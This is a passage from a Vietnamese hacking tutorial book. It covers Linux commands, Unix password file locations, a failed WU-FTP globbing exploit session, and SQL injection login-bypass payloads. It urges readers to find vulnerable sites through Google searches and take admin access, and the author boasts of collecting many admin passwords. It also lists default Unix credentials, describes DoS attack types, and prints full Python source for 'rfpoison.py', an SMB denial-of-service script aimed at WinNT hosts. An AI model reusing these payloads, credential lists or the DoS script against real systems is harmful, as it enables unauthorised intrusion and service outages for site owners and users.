_ Lệnh id : xem uid/gid hiện tại ( xem nhóm và tên hiện tại ) _ Lệnh w : xem các user đang login và action của họ trên hệ thống . Ví Dụ : $w nó sẽ đưa ra thông tin sau : 10:31pm up 25 days, 4:07, 18 users, load average: 0.06, 0.01, 0.00 _ Lệnh ps: xem thông tin các process trên hệ thống Ví dụ : $ps axuw _ Lệnh cd : bạn muốn di chuyển đến thư mục nào . phải nhờ đến lệnh này . Ví du : $ cd /usr/bin ----> nó sẽ đưa bạn đến thư mục bin _ Lệnh mkdir : tạo 1 thư mục . Ví dụ : $ mkdir /home/convit ---> nó sẽ tạo 1 thư mục convit trong /home _ Lệnh rmdir : gỡ bỏ thư mục Ví dụ : $ rmdir /home/conga ----> nó sẽ gỡ bỏ thư mục conga trong /home . _ Lệnh ls: liệt kê nội dung thư mục Ví dụ : $ls -laR / _ Lệnh printf: in dữ liệu có định dạng, giống như sử dựng printf() của C++ . Ví dụ : $printf %s "x41x41x41x41"
  • 153.
    http://wWw.Hack.Cf Page 153 _Lệnh pwd: đưa ra thư mục hiện hành Ví dụ : $pwd ------> nó sẽ cho ta biết vị trí hiện thời của ta ở đâu : /home/level1 _ Các lệnh : cp, mv, rm có nghĩa là : copy, move, delete file Ví dụ với lệnh rm (del) : $rm -rf /var/tmp/blah ----->nó sẽ del file blah . Làm tương tự đối với các lệnh cp , mv . _ Lệnh find : tìm kiếm file, thư mục Ví dụ : $find / -user level2 _ Lệnh grep: công cụ tìm kiếm, cách sử dụng đơn giản nhất : grep "something" Vidu : $ps axuw | grep "level1" _ Lệnh Strings: in ra tất cả các ký tự in được trong 1 file. Dùng nó để tìm các khai báo hành chuỗi trong chương trình, hay các gọi hàm hệ thống, có khi tìm thấy cả password nữa VD: $strings /usr/bin/level1 _ Lệnh strace: (linux) trace các gọi hàm hệ thống và signal, cực kỳ hữu ích để theo dõi flow của chương trình, cách nhanh nhất để xác định chương trình bị lỗi ở đoạn nào. Trên các hệ thống unix khác, tool tương đương là truss, ktrace . Ví dụ : $strace /usr/bin/level1 _ Lệnh" cat, more ": in nội dung file ra màn hình $cat /etc/passwd | more --> nó sẽ đưa ra nội dung file passwd một cách nhanh nhất . $more /etc/passwd ----> Nó sẽ đưa ra nội dung file passwd một cách từ từ . _ Lệnh hexdump : in ra các giá trị tương ứng theo ascii, hex, octal, decimal của dữ liệu nhập vào . Ví dụ : $echo AAAA | hexdump _ Lệnh : cc, gcc, make, gdb: các công cụ biên dịch và debug . Ví dụ : $gcc -o -g bof bof.c Ví dụ : $make bof Ví dụ : $gdb level1 (gdb) break main (gdb) run _ Lệnh perl: một ngôn ngữ Ví dụ : $perl -e 'print "A"x1024' | ./bufferoverflow ( Lỗi tràn bộ đệm khi ta đánh vào 1024 kí tự ) _ Lệnh "bash" : đã đến lúc tự động hoá các tác vụ của bạn bằng shell script, cực mạnh và linh hoạt . Bạn muốn tìm hiểu về bash , xem nó như thế nào : $man bash _ Lệnh ls : Xem nội dung thư mục ( Liệt kê file trong thư mục ) . Ví Dụ : $ ls /home ----> sẽ hiện toàn bộ file trong thư mục Home $ ls -a -----> hiện toàn bộ file , bao gồm cả file ẩn $ ls -l -----> đưa ra thông tin về các file _ Lệnh ghi dữ liệu đầu ra vào 1 file : Vídụ : $ ls /urs/bin > ~/convoi ------> ghi dữ liệu hiển thị thông tin của thư mục bin vào 1 file convoi . 34 . ) Những hiểu biết cơ bản xung quanh Linux : a . ) Một vài thư mục quan trọng trên server :
  • 154.
    http://wWw.Hack.Cf Page 154 _/home : nơi lưu giữ các file người sử dụng ( VD : người đăng nhập hệ thống có tên là convit thì sẽ có 1 thư mục là /home/convit ) _ /bin : Nơi xử lý các lệnh Unix cơ bản cần thiết như ls chẳng hạn . _ /usr/bin : Nơi xử lý các lệnh dặc biệt khác , các lệnh dùng bởi người sử dụng đặc biệt và dùng quản trị hệ thống . _ /bot : Nơi mà kernel và các file khác được dùng khi khởi động . _ /ect : Các file hoạt động phụ mạng , NFS (Network File System ) Thư tín ( Đây là nơi trọng yếu mà chúng ta cần khai thác nhiều nhất ) _ /var : Các file quản trị _ /usr/lib : Các thư viện chuẩn như libc.a _ /usr/src : Vị trí nguồn của các chương trình . b . ) Vị trí file chứa passwd của một số phiên bản khác nhau : CODE AIX 3 /etc/security/passwd !/tcb/auth/files// A/UX 3.0s /tcb/files/auth/?/* BSD4.3-Ren /etc/master.passwd * ConvexOS 10 /etc/shadpw * ConvexOS 11 /etc/shadow * DG/UX /etc/tcb/aa/user/ * EP/IX /etc/shadow x HP-UX /.secure/etc/passwd * IRIX 5 /etc/shadow x Linux 1.1 /etc/shadow * OSF/1 /etc/passwd[.dir|.pag] * SCO Unix #.2.x /tcb/auth/files// SunOS4.1+c2 /etc/security/passwd.adjunct ##username SunOS 5.0 /etc/shadow System V Release 4.0 /etc/shadow x System V Release 4.2 /etc/security/* database Ultrix 4 /etc/auth[.dir|.pag] * UNICOS /etc/udb * 35 . ) Khai thác lỗi của Linux qua lỗ hổng bảo mật của WU-FTP server : _ WU-FTP Server (được phát triển bởi đại Học Washington ) là một phần mềm Server phục vụ FTP được dùng khá phổ biến trên các hệ thống Unix & Linux ( tất cả các nhà phân phối: Redhat, Caldera, Slackware, Suse, Mandrake....) và cả Windows.... , các hacker có thể thực thi các câu lệnh của mình từ xa thông qua file globbing bằng cách ghi đè lên file có trên hệ thống . _ Tuy nhiên , việc khai thác lỗi này không phảI là dễ vì nó phải hội đủ những điều kiện sau : + Phải có account trên server . + Phải đặt được Shellcode vào trong bộ nhớ Process của Server . + Phải gửi một lệnh FTP đặc biệt chứa đựng một globbing mẫu đặc biệt mà không bị server phát hiện có lỗi . + Hacker sẽ ghi đè lên một Function, Code tới một Shellcode, có thể nó sẽ được thực
  • 155.
    http://wWw.Hack.Cf Page 155 thibới chính Server FTP . _ Ta hãy phân tích VD sau về việc ghi đè lên file của server FTP : CODE ftp> open localhost <== lệnh mở trang bị lỗi . Connected to localhost (127.0.0.1). 220 sasha FTP server (Version wu-2.6.1-18) ready <== xâm nhập thành công FTP server . Name (localhost:root): anonymous <== Nhập tên chỗ này 331 Guest login ok, send your complete e-mail address as password. Password:………..<== nhập mật khẩu ở đây 230 Guest login ok, access restrictions apply. Remote system type is UNIX. Using binary mode to transfer files. <== sử dụng biến nhị phân để chuyển đổi file . ftp> ls ~{ <== lệnh liệt kê thư mục hiện hành . 227 Entering Passive Mode (127,0,0,1,241,205) 421 Service not available, remote server has closed connection 1405 ? S 0:00 ftpd: accepting connections on port 21 ç chấp nhận kết nốI ở cổng 21 . 7611 tty3 S 1:29 gdb /usr/sbin/wu.ftpd 26256 ? S 0:00 ftpd: sasha:anonymous/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 26265 tty3 R 0:00 bash -c ps ax | grep ftpd (gdb) at 26256 Attaching to program: /usr/sbin/wu.ftpd, process 26256 <== khai thác lỗi Wu.ftpd . Symbols already loaded for /lib/libcrypt.so.1 Symbols already loaded for /lib/libnsl.so.1 Symbols already loaded for /lib/libresolv.so.2 Symbols already loaded for /lib/libpam.so.0 Symbols already loaded for /lib/libdl.so.2 Symbols already loaded for /lib/i686/libc.so.6 Symbols already loaded for /lib/ld-linux.so.2 Symbols already loaded for /lib/libnss_files.so.2 Symbols already loaded for /lib/libnss_nisplus.so.2 Symbols already loaded for /lib/libnss_nis.so.2 0x40165544 in __libc_read () from /lib/i686/libc.so.6 (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. __libc_free (mem=0x61616161) at malloc.c:3136 3136 in malloc.c Việc khai thác qua lỗi này đến nay tôi test vẫn chưa thành công ( chẳng biết làm sai chỗ nào ) . Vậy bạn nào làm được hãy post lên cho anh em biết nhé . Lỗi Linux hiện nay rất ít ( đặc biệt là đối với Redhat ), các bạn hãy chờ đợi nếu có lỗi gì mới thì bên “LỗI bảo mật” sẽ cập nhật ngay . Khai thác chúng như thế nào thì hỏi Mod quản lý bên đó , đặc biệt là bạn Leonhart , cậu ta siêng trả lời các bạn lắm . ( Dựa theo bài viết của huynh Binhnx2000 )
  • 156.
    http://wWw.Hack.Cf Page 156 36. ) Tìm hiểu về SQL Injection : _ SQL Injection là một trong những kiểu hack web đang dần trở nên phổ biến hiện nay. Bằng cách inject các mã SQL query/command vào input trước khi chuyển cho ứng dụng web xử lí, bạn có thể login mà không cần username và password, thi hành lệnh từ xa, đoạt dữ liệu và lấy root của SQL server. Công cụ dùng để tấn công là một trình duyệt web bất kì, chẳng hạn như Internet Explorer, Netscape, Lynx, ... _ Bạn có thể kiếm được trang Web bị lỗi bằng cách dùng các công cụ tìm kiếm để kiếm các trang cho phép submit dữ liệu . Một số trang Web chuyển tham số qua các khu vực ẩn nên bạn phảI viewsource mớI thấy được . VD ta xác định được trang này sử dụng Submit dữ liệu nhờ nhìn vào mã mà ta đã viewsource : CODE <FORM action=Search/search.asp method=post> <input type=hidden name=A value=C> </FORM> _ Kiểm tra thử xem trang Web có bị lỗi này hay không bằng cách nhập vào login và pass lân lượt như sau : - Login: hi' or 1=1-- - Pass: hi' or 1=1-- Nếu không được bạn thử tiếp với các login và pass sau : CODE ' or 1=1-- " or 1=1-- or 1=1-- ' or 'a'='a " or "a"="a ') or ('a'='a Nếu thành công, bạn có thể login vào mà không cần phải biết username và password . Lỗi này có dính dáng đến Query nên nếu bạn nào đã từng học qua cơ sở dữ liệu có thể khai thác dễ dàng chỉ bằng cách đánh các lệnh Query trên trình duyệt của các bạn . Nếu các bạn muốn tìm hiểu kỹ càng hơn về lỗi này có thể tìm các bài viết của nhóm vicky để tìm hiểu thêm . 37 . ) Một VD về hack Web thông qua lỗi admentor ( Một dạng của lỗi SQL Injection ) : _ Trước tiên bạn vào google.com tìm trang Web admentor bằng từ khoá “allinurl : admentor” . _ Thông thường bạn sẽ có kết quả sau : http://www.someserver.com/admentor/admin/admin.asp
  • 157.
    http://wWw.Hack.Cf Page 157 _Bạn thử nhập “ ' or ''=' ” vào login và password : CODE Login : ' or ''=' Password : ' or ''=' _ Nếu thành công bạn sẽ xâm nhập vào Web bị lỗi với vai trò là admin . _ Ta hãy tìm hiểu về cách fix lỗi này nhé : + Lọc các ký tự đặc biệt như “ ' " ~ ” bằng cách chêm vào javascrip đoạn mã sau : CODE function RemoveBad(strTemp) { strTemp = strTemp.replace(/<|>|"|'|%|;|(|)|&|+| -/g,""); return strTemp; } + Và gọi nó từ bên trong của asp script : CODE var login = var TempStr = RemoveBad (Request.QueryString("login")); var password = var TempStr = RemoveBad (Request.QueryString("password")); _ Vậy là ta đã fix xong lỗi . _ Các bạn có thể áp dụng cách hack này cho các trang Web khác có submit dữ liệu , các bạn hãy test thử xem đi , các trang Web ở Việt Nam mình bị nhiều lắm , tôi đã kiếm được kha khá pass admin bằng cách thử này rồi ( nhưng cũng đã báo để họ fix lại ) . _ Có nhiều trang khi login không phải bằng “ ' or ''=’ ” mà bằng các nick name có thật đã đăng ký trên trang Web đó , ta vào link “thành viên” kiếm nick của một admin để test thử nhé . Hack vui vẻ . ==================================================== Ở phần 6 tôi sẽ đề cập đến kiểu tấn công từ chối dịch vụ ( DoS attack ) , một kiểu tấn công lợi hại đã làm cho trang Web hùng mạnh như HVA của chúng ta bị tắt nghẽn chỉ trong thờI gian ngắn các admin bận đi uống cafe hết mà không ai trông coi . Kèm theo đó là các phương pháp tấn công DoS đã và đang được sử dụng . GOOKLUCK!!!!!!!!!!!!!!!!!!!! ( Hết phần 5 )
  • 158.
    http://wWw.Hack.Cf Page 158 Bàiviết của ANHDENDAY . Các kiểu tấn công mạng : 1-Tấn công trực tiếp : Đây là một phương pháp cổ điển dùng để dò tìm tên người sử dụng (user) và mật khẩu truy cập của họ (password).Phương pháp này khá đơn giản , dễ thực hiện và không đòi hỏi bất kì một điều kiện nào để bắt đầu.Chúng ta có thể sử dụng những thông tin như tên người dùng , ngày sinh , địa chỉ , số nhà ... để đoán mật khẩu.Trong trường hợp có được có được danh sách người sử dụng (user list ) và môi trường làm việc , một chương trình đoán mật khẩu sẽ được sử dụng. Nó hoạt động một cách tự động bằng cách sử dụng các tổ hợp các từ trong một từ điển lớn và theo những qui tắc mà người dùng định nghĩa.Khả năng thành công của phương pháp này có thể lên đến 30% (nếu bạn may mắn).Và khi thành công ta sẽ có được quyền Admin , Root. Hai chương trình thường được dùng cho phương pháp này là chương trình Sendmail và Rlogin của hệ thống Unix. Sendmail là một chương trình phức tạp với mã nguồn bao gồm hàng ngàn dòng lệnh C . Sendmail được chạy với quyền của người quản trị hệ thống do chương trình phải có quyền ghi vào hộp thư của người sử dụng. Vì Sendmail nhận trực tiếp các yêu cầu về mạng thư tín bên ngoài nên nó trở thành nguồn cung cấp những lỗ hổng bảo mật để truy cập hệ thống. Rlogin cho phép người sử dụng từ một máy trên mạng truy cập từ xa vào một máy khác sử dụng tài nguyên của máy này. Trong quá trình nhận tên và mật khẩu của người sử dụng , rlogin không kiểm tra độ dài dòng nhập nên ta có thể đưa vào một xâu lệnh đã được tính toán trước để ghi đè lên mã chương trình của Rlogin , từ đó chiếm quyền truy cập. 2-Nghe trộm Việc nghe trộm thông tin trên mạng có thể đem lại những thông tin có ích như tên , mật khẩu của người sử dụng , các thông tin chuyển qua mạng…Việc nghe trộm thường được các hacker tiến hành sau khi chiếm được quyền truy cập hệ thống thông qua các chương trình cho phép đưa giao tiếp mạng (NIC – Network Interface Card) vào chế độ nhận toàn thông tin lưu truyền trên mạng.Những thông tin này cũng có thể lấy được trên Internet. 3-Giả mạo địa chỉ IP : Việc này có thể thực hiện thông qua việc dẫn đường trực tiếp.Với các tấn công này , các hacker sẽ gởi các gói tin IP tới mạng bên trong với một địa chỉ IP giả (Thông thường là IP của một mạng hoặc một máy tính được coi là an toàn đối với mạng bên trong) ,đồng thời chỉ rõ đường dẫn má các gói tin IP phải gửi đi. 4-Vô hiệu các chức năng của hệ thống :
  • 159.
    http://wWw.Hack.Cf Page 159 Đâylà kiểu tấn công làm tê liệt hệ thống , không cho nó thực hiện các chức năng mà nó được thiết kế. Kiểu tấn công này không ngăn chặc được do các phương tiện để tấn công lại chính là những phương tiện để làm việc và truy cập thông tin trên mạng.Ví dụ như sử dụng lệnh ping với tốc độ cao nhất có thể buộc một hệ thống tiêu hao toàn bộ tốc độ tính toán và khả năng của mạng để trả lời các lệnh này , không còn tài nguyên để thực hiện những việc khác. 5-Tấn công vào yếu tố con người : Hacker có thể già làm người sử dụng , sau đó yêu cầu người quản trị hệ thống thay đổi mật khẩu và quyền truy cập của mình đối với hệ thống hay thay đổi một số cấu hình hệ thống để thực hiện những phương pháp tấn công khác.Không có một thiết bị nào có thể ngăn chặng được phương pháp này ngoài sự cảnh giác của người quản trị hệ thống. Ok , tôi sẽ nói cho bạn biết làm sao một hệ thống Unix có thể chào hỏI bạn khi bạn kết nối tới nó . Đầu tiên , khi bạn gọi Unix , thông thường nó sẽ xuất hiện một dấu nhắc : “ Log in : ” , ( tuy nhiên , chỉ với như vậy thì cũng chưa chắc chắn đây là Unix được ngoạI trừ chúng xuất hiện thông báo ở trước chữ “ log in :” như ví dụ : Welcome to SHUnix. Please log in ….) Bây giờ ta đang ở tạI dấu nhắc “log in” , bạn cần phảI nhập vào một account hợp lệ . Một account thông thường gồm có 8 đặc tính hoặc hơn , sau khi bạn nhập account vào , bạn sẽ thấy có một mật khẩu , bạn hãy thử nhập Default Password thử theo bảng sau : Account-------------------------Default Password Root-----------------------------------------------Root Sys------------------------------------------------Sys / System / Bin Bin-------------------------------------------------Sys / Bin Mountfsy------------------------------------------Mountfsys Nuuc-----------------------------------------------Anon Anon-----------------------------------------------Anon User------------------------------------------------User Games---------------------------------------------Games Install----------------------------------------------Install Demo-----------------------------------------------Demo Guest----------------------------------------------Guest Xin bổ sung thêm là : login: root pw: root login: root pw: system
  • 160.
    http://wWw.Hack.Cf Page 160 login:root pw: sysop login: sys pw: sys login: sys pw: system login: daemon pw: daemon login: uucp pw: uucp login: tty pw: tty login: test pw: test login: unix pw: unix login: unix pw: test login: bin pw: bin login: adm pw: adm login: adm pw: admin login: admin pw: admin login: sysman pw: sysman login: sysman pw: sys login: sysman pw: system login: sysadmin pw: sysadmin login: sysadmin pw: system login: sysadmin pw: sys login: sysadmin pw: admin login: sysadmin pw: adm login: who pw: who login: learn pw: learn login: uuhost pw: uuhost login: guest pw: guest login: host pw: host login: nuucp pw: nuucp login: rje pw: rje login: games pw: games login: games pw: player login: sysop pw: sysop login: demo pw: demo Và đây là phần 6 38 . ) DoS attack là gì ? ( Denial Of Services Attack ) _ DoS attack ( dịch là tấn công từ chối dịch vụ ) là kiểu tấn công rất lợi hại , với loại tấn công này , bạn chỉ cần một máy tính kết nối Internet là đã có thể thực hiện việc tấn công được máy tính của đốI phương . thực chất của DoS attack là hacker sẽ chiếm dụng một lượng lớn tài nguyên trên server ( tài nguyên đó có thể là băng thông, bộ nhớ, cpu, đĩa cứng, ... ) làm cho server không thể nào đáp ứng các yêu cầu từ các máy của nguời khác ( máy của những người dùng bình thường ) và server có thể nhanh chóng bị ngừng hoạt động, crash hoặc reboot . 39 . ) Các loại DoS attack hiện đang được biết đến và sử dụng : a . ) Winnuke :
  • 161.
    http://wWw.Hack.Cf Page 161 _DoSattack loại này chỉ có thể áp dụng cho các máy tính đang chạy Windows9x . Hacker sẽ gởi các gói tin với dữ liệu "Out of Band" đến cổng 139 của máy tính đích.( Cổng 139 chính là cổng NetBIOS, cổng này chỉ chấp nhận các gói tin có cờ Out of Band được bật ) . Khi máy tính của victim nhận được gói tin này, một màn hình xanh báo lỗi sẽ được hiển thị lên với nạn nhân do chương trình của Windows nhận được các gói tin này nhưng nó lại không biết phản ứng với các dữ liệu Out Of Band như thế nào dẫn đến hệ thống sẽ bị crash . b . ) Ping of Death : _ Ở kiểu DoS attack này , ta chỉ cần gửi một gói dữ liệu có kích thước lớn thông qua lệnh ping đến máy đích thì hệ thống của họ sẽ bị treo . _ VD : ping –l 65000 c . ) Teardrop : _ Như ta đã biết , tất cả các dữ liệu chuyển đi trên mạng từ hệ thống nguồn đến hệ thống đích đều phải trải qua 2 quá trình : dữ liệu sẽ được chia ra thành các mảnh nhỏ ở hệ thống nguồn, mỗi mảnh đều phải có một giá trị offset nhất định để xác định vị trí của mảnh đó trong gói dữ liệu được chuyển đi. Khi các mảnh này đến hệ thống đích, hệ thống đích sẽ dựa vào giá trị offset để sắp xếp các mảnh lại với nhau theo thứ tự đúng như ban đầu . Lợi dụng sơ hở đó , ta chỉ cần gởi đến hệ thống đích một loạt gói packets với giá trị offset chồng chéo lên nhau. Hệ thống đích sẽ không thể nào sắp xếp lại các packets này, nó không điều khiển được và có thể bị crash, reboot hoặc ngừng hoạt động nếu số lượng gói packets với giá trị offset chồng chéo lên nhau quá lớn ! d . ) SYN Attack : _ Trong SYN Attack, hacker sẽ gởi đến hệ thống đích một loạt SYN packets với địa chỉ ip nguồn không có thực. Hệ thống đích khi nhận được các SYN packets này sẽ gởi trở lại các địa chỉ không có thực đó và chờ đợI để nhận thông tin phản hồi từ các địa chỉ ip giả . Vì đây là các địa chỉ ip không có thực, nên hệ thống đích sẽ sẽ chờ đợi vô ích và còn đưa các "request" chờ đợi này vào bộ nhớ , gây lãng phí một lượng đáng kể bộ nhớ trên máy chủ mà đúng ra là phải dùng vào việc khác thay cho phải chờ đợi thông tin phản hồi không có thực này . Nếu ta gởi cùng một lúc nhiều gói tin có địa chỉ IP giả như vậy thì hệ thống sẽ bị quá tải dẫn đến bị crash hoặc boot máy tính . == > ném đá dấu tay . e . ) Land Attack : _ Land Attack cũng gần giống như SYN Attack, nhưng thay vì dùng các địa chỉ ip không có thực, hacker sẽ dùng chính địa chỉ ip của hệ thống nạn nhân. Điều này sẽ tạo nên một vòng lặp vô tận giữa trong chính hệ thống nạn nhân đó, giữa một bên cần nhận thông tin phản hồi còn một bên thì chẳng bao giờ gởi thông tin phản hồi đó đi cả . == > Gậy ông đập lưng ông . f . ) Smurf Attack :
  • 162.
    http://wWw.Hack.Cf Page 162 _TrongSmurf Attack, cần có ba thành phần: hacker (người ra lệnh tấn công), mạng khuếch đại (sẽ nghe lệnh của hacker) và hệ thống của nạn nhân. Hacker sẽ gởi các gói tin ICMP đến địa chỉ broadcast của mạng khuếch đại. Điều đặc biệt là các gói tin ICMP packets này có địa chỉ ip nguồn chính là địa chỉ ip của nạn nhân . Khi các packets đó đến được địa chỉ broadcast của mạng khuếch đại, các máy tính trong mạng khuếch đại sẽ tưởng rằng máy tính nạn nhân đã gởi gói tin ICMP packets đến và chúng sẽ đồng loạt gởi trả lại hệ thống nạn nhân các gói tin phản hồi ICMP packets. Hệ thống máy nạn nhân sẽ không chịu nổi một khối lượng khổng lồ các gói tin này và nhanh chóng bị ngừng hoạt động, crash hoặc reboot. Như vậy, chỉ cần gởi một lượng nhỏ các gói tin ICMP packets đi thì hệ thống mạng khuếch đại sẽ khuếch đại lượng gói tin ICMP packets này lên gấp bộI . Tỉ lệ khuếch đại phụ thuộc vào số mạng tính có trong mạng khuếch đạI . Nhiệm vụ của các hacker là cố chiếm được càng nhiều hệ thống mạng hoặc routers cho phép chuyển trực tiếp các gói tin đến địa chỉ broadcast không qua chỗ lọc địa chỉ nguồn ở các đầu ra của gói tin . Có được các hệ thống này, hacker sẽ dễ dàng tiến hành Smurf Attack trên các hệ thống cần tấn công . == > một máy làm chẳng si nhê , chục máy chụm lại ta đành chào thua . g . ) UDP Flooding : _ Cách tấn công UDP đòi hỏi phải có 2 hệ thống máy cùng tham gia. Hackers sẽ làm cho hệ thống của mình đi vào một vòng lặp trao đổi các dữ liệu qua giao thức UDP. Và giả mạo địa chỉ ip của các gói tin là địa chỉ loopback ( 127.0.0.1 ) , rồi gởi gói tin này đến hệ thống của nạn nhân trên cổng UDP echo ( 7 ). Hệ thống của nạn nhân sẽ trả lời lại các messages do 127.0.0.1( chính nó ) gởi đến , kết quả là nó sẽ đi vòng một vòng lặp vô tận. Tuy nhiên, có nhiều hệ thống không cho dùng địa chỉ loopback nên hacker sẽ giả mạo một địa chỉ ip của một máy tính nào đó trên mạng nạn nhân và tiến hành ngập lụt UDP trên hệ thống của nạn nhân . Nếu bạn làm cách này không thành công thì chính máy của bạn sẽ bị đấy . h . ) Tấn công DNS : _ Hacker có thể đổi một lối vào trên Domain Name Server của hệ thống nạn nhân rồi cho chỉ đến một website nào đó của hacker. Khi máy khách yêu cầu DNS phân tích địa chỉ bị xâm nhập thành địa chỉ ip, lập tức DNS ( đã bị hacker thay đổi cache tạm thờI ) sẽ đổi thành địa chỉ ip mà hacker đã cho chỉ đến đó . Kết quả là thay vì phải vào trang Web muốn vào thì các nạn nhân sẽ vào trang Web do chính hacker tạo ra . Một cách tấn công từ chối dịch vụ thật hữu hiệu !. g . ) Distributed DoS Attacks ( DDos ) : _ DDoS yêu cầu phải có ít nhất vài hackers cùng tham gia. Đầu tiên các hackers sẽ cố thâm nhập vào các mạng máy tính được bảo mật kém, sau đó cài lên các hệ thống này chương trình DDoS server. Bây giờ các hackers sẽ hẹn nhau đến thời gian đã định sẽ dùng DDoS client kết nối đến các DDoS servers, sau đó đồng loạt ra lệnh cho các DDoS servers này tiến hành tấn công DDoS đến hệ thống nạn nhân . h . ) DRDoS ( The Distributed Reflection Denial of Service Attack ) : _ Đây có lẽ là kiểu tấn công lợi hại nhất và làm boot máy tính của đối phương nhanh gọn nhất . Cách làm thì cũng tương tự như DDos nhưng thay vì tấn công bằng nhiều
  • 163.
    http://wWw.Hack.Cf Page 163 máytính thì ngườI tấn công chỉ cần dùng một máy tấn công thông qua các server lớn trên thế giới . Vẫn với phương pháp giả mạo địa chỉ IP của victim , kẻ tấn công sẽ gởi các gói tin đến các server mạnh nhất , nhanh nhất và có đường truyền rộng nhất như Yahoo .v.v… , các server này sẽ phản hồi các gói tin đó đến địa chỉ của victim . Việc cùng một lúc nhận được nhiều gói tin thông qua các server lớn này sẽ nhanh chóng làm nghẽn đường truyền của máy tính nạn nhân và làm crash , reboot máy tính đó . Cách tấn công này lợi hại ở chỗ chỉ cần một máy có kết nối Internet đơn giản với đường truyền bình thường cũng có thể đánh bật được hệ thống có đường truyền tốt nhất thế giớI nếu như ta không kịp ngăn chặn . Trang Web HVA của chúng ta cũng bị DoS vừa rồi bởi cách tấn công này đấy . 40 . ) Kỹ thuật DoS Web bằng Python : _ Kỹ thuật này chỉ có thể sử dụng duy nhất trên WinNT , và bạn cần phải có thời gian thì máy tính của nạn nhân mới bị down được . _ Bạn hãy download Pyphon tại http://www.python.org/ để sử dụng . _ Bạn hãy save đoạn mã sau lên file rfpoison.py . CODE import string import struct from socket import * import sys def a2b(s): bytes = map(lambda x: string.atoi(x, 16), string.split(s)) data = string.join(map(chr, bytes), '') return data def b2a(s): bytes = map(lambda x: '%.2x' % x, map(ord, s)) return string.join(bytes, ' ') # Yêu cầu tập hợp NBSS nbss_session = a2b(""" 81 00 00 48 20 43 4b 46 44 45 4e 45 43 46 44 45 46 46 43 46 47 45 46 46 43 43 41 43 41 43 41 43 41 43 41 43 41 00 20 45 48 45 42 46 45 45 46 45 4c 45 46 45 46 46 41 45 46 46 43 43 41 43 41 43 41 43 41 43 41 41 41 00 00 00 00 00 """) # Tạo SMB crud = ( # Yêu cầu SMBnegprot """ ff 53 4d 42 72 00 00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f4 01 00 00 01 00 00 81 00 02 50 43 20 4e 45 54 57 4f 52 4b 20 50 52 4f 47 52 41 4d
  • 164.
    http://wWw.Hack.Cf Page 164 2031 2e 30 00 02 4d 49 43 52 4f 53 4f 46 54 20 4e 45 54 57 4f 52 4b 53 20 31 2e 30 33 00 02 4d 49 43 52 4f 53 4f 46 54 20 4e 45 54 57 4f 52 4b 53 20 33 2e 30 00 02 4c 41 4e 4d 41 4e 31 2e 30 00 02 4c 4d 31 2e 32 58 30 30 32 00 02 53 61 6d 62 61 00 02 4e 54 20 4c 41 4e 4d 41 4e 20 31 2e 30 00 02 4e 54 20 4c 4d 20 30 2e 31 32 00 """, # Yêu cầu setup SMB X """ ff 53 4d 42 73 00 00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f4 01 00 00 01 00 0d ff 00 00 00 ff ff 02 00 f4 01 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 17 00 00 00 57 4f 52 4b 47 52 4f 55 50 00 55 6e 69 78 00 53 61 6d 62 61 00 """, # Yêu cầu SMBtconX """ ff 53 4d 42 75 00 00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f4 01 00 08 01 00 04 ff 00 00 00 00 00 01 00 17 00 00 5c 5c 2a 53 4d 42 53 45 52 56 45 52 5c 49 50 43 24 00 49 50 43 00 """, # Yêu cầu khởI tạo SMBnt X """ ff 53 4d 42 a2 00 00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f4 01 00 08 01 00 18 ff 00 00 00 00 07 00 06 00 00 00 00 00 00 00 9f 01 02 00 00 00 00 00 00 00 00 00 00 00 00 00 03 00 00 00 01 00 00 00 00 00 00 00 02 00 00 00 00 08 00 5c 73 72 76 73 76 63 00 """, # yêu cầu biên dịch SMB """ ff 53 4d 42 25 00 00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f4 01 00 08 01 00 10 00 00 48 00 00 00 48 00 00 00 00 00 00 00 00 00 00 00 00 00 4c 00 48 00 4c 00 02 00 26 00 00 08 51 00 5c 50 49 50 45 5c 00 00 00 05 00 0b 00 10 00 00 00 48 00 00 00 01 00 00 00 30 16 30 16 00 00 00 00 01 00 00 00 00 00 01 00 c8 4f 32 4b 70 16 d3 01 12 78 5a 47 bf 6e e1 88 03 00 00 00 04 5d 88 8a eb 1c c9 11 9f e8 08 00 2b 10 48 60 02 00 00 00 """, # SMBtrans Request """
  • 165.
    http://wWw.Hack.Cf Page 165 ff53 4d 42 25 00 00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f4 01 00 08 01 00 10 00 00 58 00 00 00 58 00 00 00 00 00 00 00 00 00 00 00 00 00 4c 00 58 00 4c 00 02 00 26 00 00 08 61 00 5c 50 49 50 45 5c 00 00 00 05 00 00 03 10 00 00 00 58 00 00 00 02 00 00 00 48 00 00 00 00 00 0f 00 01 00 00 00 0d 00 00 00 00 00 00 00 0d 00 00 00 5c 00 5c 00 2a 00 53 00 4d 00 42 00 53 00 45 00 52 00 56 00 45 00 52 00 00 00 00 00 01 00 00 00 01 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 """ ) crud = map(a2b, crud) def smb_send(sock, data, type=0, flags=0): d = struct.pack('!BBH', type, flags, len(data)) #print 'send:', b2a(d+data) sock.send(d+data) def smb_recv(sock): s = sock.recv(4) assert(len(s) == 4) type, flags, length = struct.unpack('!BBH', s) data = sock.recv(length) assert(len(data) == length) #print 'recv:', b2a(s+data) return type, flags, data def nbss_send(sock, data): sock.send(data) def nbss_recv(sock): s = sock.recv(4) assert(len(s) == 4) return s def main(host, port=139): s = socket(AF_INET, SOCK_STREAM) s.connect(host, port) nbss_send(s, nbss_session) nbss_recv(s) for msg in crud[:-1]: smb_send(s, msg) smb_recv(s) smb_send(s, crud[-1]) # no response to this s.close() if __name__ == '__main__': print 'Sending poison...', main(sys.argv[1]) print 'done.' Để có thể làm down được server của đối phương bạn cần phải có thời gian DoS , nếu không có điều kiện chờ đợi tốt nhất bạn không nên sử dụng cách này . Nhưng “vọc”
  • 166.
